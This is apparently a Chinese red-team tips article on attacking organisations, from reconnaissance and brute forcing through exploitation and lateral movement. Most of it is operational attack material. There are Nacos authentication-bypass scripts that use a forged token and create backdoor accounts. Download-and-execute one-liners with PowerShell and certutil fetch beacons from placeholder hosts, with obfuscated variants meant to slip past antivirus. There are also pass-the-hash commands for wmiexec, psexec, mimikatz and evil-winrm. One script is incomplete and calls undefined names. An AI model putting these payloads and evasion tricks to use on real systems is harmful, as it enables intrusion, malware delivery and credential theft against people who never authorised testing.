攻防实操|红队攻防小技巧

外网打点

资产测绘三剑客

https://hunter.qianxin.com/ https://fofa.info/ https://quake.360.cn/

挖掘高价值资产

https://github.com/EdgeSecurityTeam/EHole

ehole重构了一版，需要下载source code进行自编译，realease为旧版本

https://github.com/lijiejie/BBScan

挖掘敏感信息和后台地址

Targets:
​
  --host [HOST [HOST ...]]
                        Scan several hosts from command line
  -f TargetFile         Load new line delimited targets from TargetFile
  -d TargetDirectory    Load all *.txt files from TargetDirectory
  --crawler CrawlDirectory
                        Load all *.log crawl files from CrawlDirectory
  --network MASK        Scan all Target/MASK neighbour hosts,
                        should be an integer between 8 and 31
​
HTTP SCAN:
​
  --rule [RuleFileName [RuleFileName ...]]
                        Import specified rule files only.
  -n, --no-crawl        No crawling, sub folders will not be processed
  -nn, --no-check404    No HTTP 404 existence check
  --full                Process all sub directories
​
Scripts SCAN:
​
  --scripts-only        Scan with user scripts only
  --script [ScriptName [ScriptName ...]]
                        Execute specified scripts only
  --no-scripts          Disable all scripts
​
CONCURRENT:
​
  -p PROCESS            Num of processes running concurrently, 30 by default
  -t THREADS            Num of scan threads for each scan process, 3 by default
​
OTHER:
​
  --proxy Proxy         Set HTTP proxy server
  --timeout Timeout     Max scan minutes for each target, 10 by default
  -md                   Save scan report as markdown format
  --save-ports PortsDataFile
                        Save open ports to PortsDataFile
  --debug               Show verbose debug info
  -nnn, --no-browser    Do not open web browser to view report
  -v                    show program's version number and exit

shiro利用

找到key之后使用常规的漏洞工具无法正常利用，可能这时候很多人就放弃了，由于这两工具缺少部分利用链可能错过漏洞

改用其他工具，优势在于key的数量多，利用链全

建议使用feihong大佬的工具，经典yyds

https://github.com/feihong-cs/ShiroExploit-Deprecated

优先选用第四种方案，右键源代码添加可访问的静态资源

正常执行命令

缺少双因子爆破

许多vpn、邮箱系统没有进行验证限制，可进行暴力破解

如 Global-Protect 谷歌了一波发现其用途是充当防火墙+VPN

由于系统缺少双因子认证，以工号信息为账号尝试爆破，成功获取到VPN的账号密码

连接VPN，进入内网

源代码泄露

通过github筛选目标相关关键字 password xx.com

源代码项目里面可能包含了各种密码，或者是提取指纹寻找源码进行审计

敏感信息泄露

在攻防演练过程中，数据泄露分数占比也是较高的，我们可以多去寻找一些查询系统看看是否存在敏感信息泄露

信息搜集过程中通过360quake的图像预览发现了一个信息查询系统，猜测可能存在信息泄露问题

在前端位置，数据都是加密的

抓取查询数据，查看返回数据包发现是明文显示

webpack接口

在我们渗透过程中，越来越多的系统会采用webpack进行打包，如下图的指纹所示

工具自动化寻找未授权

https://github.com/rtcatc/Packer-Fuzzer

或查看js还原接口

右键源代码——查看检索js——在后面添加.map

curl -O http://xx.xx.xx.xx/*.js.map

之后会下载一个js.map，使用reverse-sourcemap进行还原

npm install --global reverse-sourcemap
reverse-sourcemap --output-dir 生成的目录 app.6804b239.js.map

可寻找各种未授权的接口进行进一步的利用，可检索upload、add等关键字

弱口令＋后台上传

碰到没有验证码的站，可以尝试进行爆破

成功爆破到账密后，可寻找后台上传接口进行上传

nacos开放公网

https://github.com/Pizz33/nacos_vul

批量验证

import requests
import urllib3
urllib3.disable_warnings()
​
# 定义自定义路径和Header
custom_path = '/nacos/v1/auth/users?pageNo=1&pageSize=2'
proxies = {'http': 'http://127.0.0.1:8080'}
header = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Te": "trailers",
    "Cache-Control": "no-cache",
}
# 从url.txt文件中读取URL列表
with open('url.txt', 'r') as f:
    urls = f.read().splitlines()
​
# 循环发送GET请求并判断回显结果
for url in urls:
    full_url = url + custom_path  # 拼接完整URL
    try:
        response = requests.get(full_url,proxies=proxies, headers=header,verify=False,timeout=2)
        if response.status_code == 200 and response.content.find(b"pageNumber") != -1:
            print(f'{url} 存在nacos身份验证绕过漏洞')
        else:
            print(f'{url} 不存在nacos身份验证绕过漏洞')
    except requests.exceptions.RequestException as e:
        print(f'{url} 访问失败 {e}')

脚本化添加用户

import sys
import requests
from termcolor import colored
import urllib3
urllib3.disable_warnings()
​
proxies = {'http': 'http://127.0.0.1:8080'}
# 获取命令行参数中的 URL
if len(sys.argv) < 2:
    print("Usage: python test.py <url>")
    sys.exit(1)
url = sys.argv[1]
​
post_url = "/nacos/v1/auth/users"
request_url = url + post_url
​
headers = {
    "User-Agent": "Nacos-Server",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "same-origin",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache",
}
data = {
    "username": "test123",
    "password": "test123",
}
​
response = requests.post(request_url, headers=headers, data=data, proxies=proxies,verify=False)
​
if response.status_code == 200 and response.content.find(b"ok") != -1:
    print(colored('[*] ' + url + ' 存在nacos身份认证绕过漏洞！ ', 'green'))
    print(colored('已创建用户test123/test123', 'green'))
else:
    print(colored('[-] ' + url + ' 不存在nacos身份认证绕过漏洞！ \n', 'red'))
​
threads = []
for url in urls:
    t = threading.Thread(target=send_request, args=(url,))
    threads.append(t)
    t.start()
​
# 等待所有线程完成
for t in threads:
    t.join()

任意用户添加登录，配置文件里详情可能含有账户密码等敏感信息

横向利用

cobaltstrike上线

隐藏C2地址

云函数 or cdn

常规上线

1、powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
2、certutil -urlcache -split -f http://x.x.x.x/a C:\Users\Public\1.exe && C:\Users\Public\1.exe

绕杀软上线

火绒

复制certutil文件

copy c:\windows\system32\certutil.exe c:\programdata\a.exe && c:\programdata\a.exe -urlcache -split -f http://x.x.x.x/a C:\Users\Public\1.exe && C:\Users\Public\1.exe

360

缓存文件还原

;,@certutil  -u""r""l""c""a""c""h""e"" -split -f http://x.x.x.x/a.exe -DeleteHelloContainer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://x.x.x.x/a.exe -deleteEnrollmentServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://x.x.x.x/a.exe -deletePolicyServer
;,@certutil  -u""r""l""c""a""c""h""e"" -split  -f http://x.x.x.x/a.exe -deleteEccCurve
​
move -deleteEccCurve test.exe

def

中间插入“”字符

cert^u^t^il -url""""cache -sp""""lit -f http://192.168.xx.xx:7070/test.txt

通用：可通过py编写脚本 fuzz 字符寻找可绕过的语句

import os
import random
import time

def insert_random_chinese_chars(s):
    """在字符串s中随机插入中文字符"""
    chinese_chars = ["。", "，", "！","》","？","《", "，", "】","【","}","“"]
    n = len(s)
    insert_positions = sorted(random.sample(range(n), n // 4))
    for pos in reversed(insert_positions):
        s = s[:pos] + random.choice(chinese_chars) + s[pos:]
    return s

while True:
    url = "urlcache"
    url = insert_random_chinese_chars(url)
    command = f"certutil -{url} -split -f http://x.x.x.x/1.png"
    print(command)
    with open("output.txt", "a") as f:
        f.write(command + "\n")
    os.system(command)
    time.sleep(5)

绕过限制上线

通过漏洞获取到一个webshell之后，在某些环境下可能会限制上传文件的大小和后缀

certutil -encode beacon.exe out.txt 
certutil -decode out.txt test.exe

测试找到上传的最大的长度，使用工具进行文本切割

重新整合

copy 01.txt + 02.txt + 03.txt + 04.txt + 05.txt + 06.txt + 07.txt + 08.txt + 09.txt + 10.txt out.txt

成功上线

文件上传绕过

通过1day上传文件大概率会碰到被waf拦截的情况，可添加脏字符进行绕过，或者结合分块传输

上传的webshell木马最好做免杀处理，如哥斯拉木马可进行unicode编码，仍可正常执行

绕杀软添加用户

使用bof加载绕过

inline-execute C:\Users\MSI-NB\Desktop\BOF过杀软添加用户\bof-net-user-x64.o

密码喷洒

railgun、crackmapexec

获取密码控制机器

135端口

https://github.com/XiaoliChan/wmiexec-Pro

执行命令

python wmiexec-pro.py administrator:Admin12345@192.168.186.136 exec-command -command "whoami" -with-output

上传文件

python wmiexec-pro.py administrator:Admin12345@192.168.186.136 filetransfer -upload -src-file "/root/Desktop/decode.exe" -dest-file "C:\users\public\test.exe"

wmiexec

python wmiexec.py -hashes :2687cb433215956d4ededb0d00334118 Tom@192.168.0.220
wmiexec.exe -hashes :2687cb433215956d4ededb0d00334118 Tom@192.168.0.220

这里过不去的需要在目标机器上开启注册表

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

WMIHACKER

https://github.com/rootclay/WMIHACKER

cscript WMIHACKER.vbs /cmd 192.168.10.90 administrator "123456" "ipconfig" 1

sharpwmi

个人常用的一款，可以上传文件，但是文件大小限制512kb内

https://github.com/QAX-A-Team/sharpwmi

https://github.com/idiotc4t/sharpwmi

sharpwmi.exe login 192.168.2.3 administrator 123 cmd whoami
sharpwmi.exe login 192.168.2.3/24 administrator 123 cmd whoami
sharpwmi.exe login 192.168.2.3-23 administrator 123 upload beacon.exe c:\beacon.exe
sharpwmi.exe pth 192.168.2.3-192.168.2.77 cmd whoami
sharpwmi.exe pth 192.168.2.3/255.255.255.0 upload beacon.exe c:\beacon.exe

445端口

smbexec

smbexec.exe administrator:"mima"@10.61.9.46

psexec

这里使用的impacket工具包里的，微软自带的psexec不能使用hash进行传递

net use \\10.61.9.45\ipc$ "123456" /user:administrator
psexec.exe \\10.61.9.45 -u administrator -p "mima" whoami

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 administrator@192.168.0.100
psexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 administrator@192.168.0.100

mmcexec

mmcexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 administrator@192.168.0.100

3389端口

修改注册表

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

mimikatz进行hash传递，之后会弹出一个框，填入相应的IP即可

privilege::debug
sekurlsa::pth /user:dyy /domain:. /ntlm::2687cb433215956d4ededb0d00334118 "/run:mstsc.exe /restrictedadmin"

5985端口

evil-winrm

这里先安装ruby环境，https://rubyinstaller.org

gem install evil-winrm

evil-winrm -i 192.168.0.100 -u administrator -H ccef208c6485269c20db2cad21734fe7

报错异常情况

错误号5，拒绝访问：很可能你使⽤的⽤户不是管理员权限的（#先提升权限）
错误号51，Windows⽆法找到⽹络路径（#⽹络有问题）
错误号53，找不到⽹络路径:ip地址错误;⽬标末开机（#⽬标lanmanserver服务未启动；⽬标有
防⽕墙（端⼝过滤）
错误号67，找不到⽹络名（#你的lanmanworkstation服务末启动;⽬标删除了ipc$）
错误号1219，提供的凭据与⼰存在的凭据集冲突（#你已经和对⽅建⽴了⼀个ipc$，请删除在连）
错误号1326，未知的⽤户名或错误密码（#原因很明显）
错误号1792，试图登录，但是⽹络登录服务没有启动（#⽬标NetLogon服务末启动。（连接域控
会出现此情况）
错误号2242，此⽤户的密码⼰经过期（#⽬标有帐号策略，强制定期要求更改密码）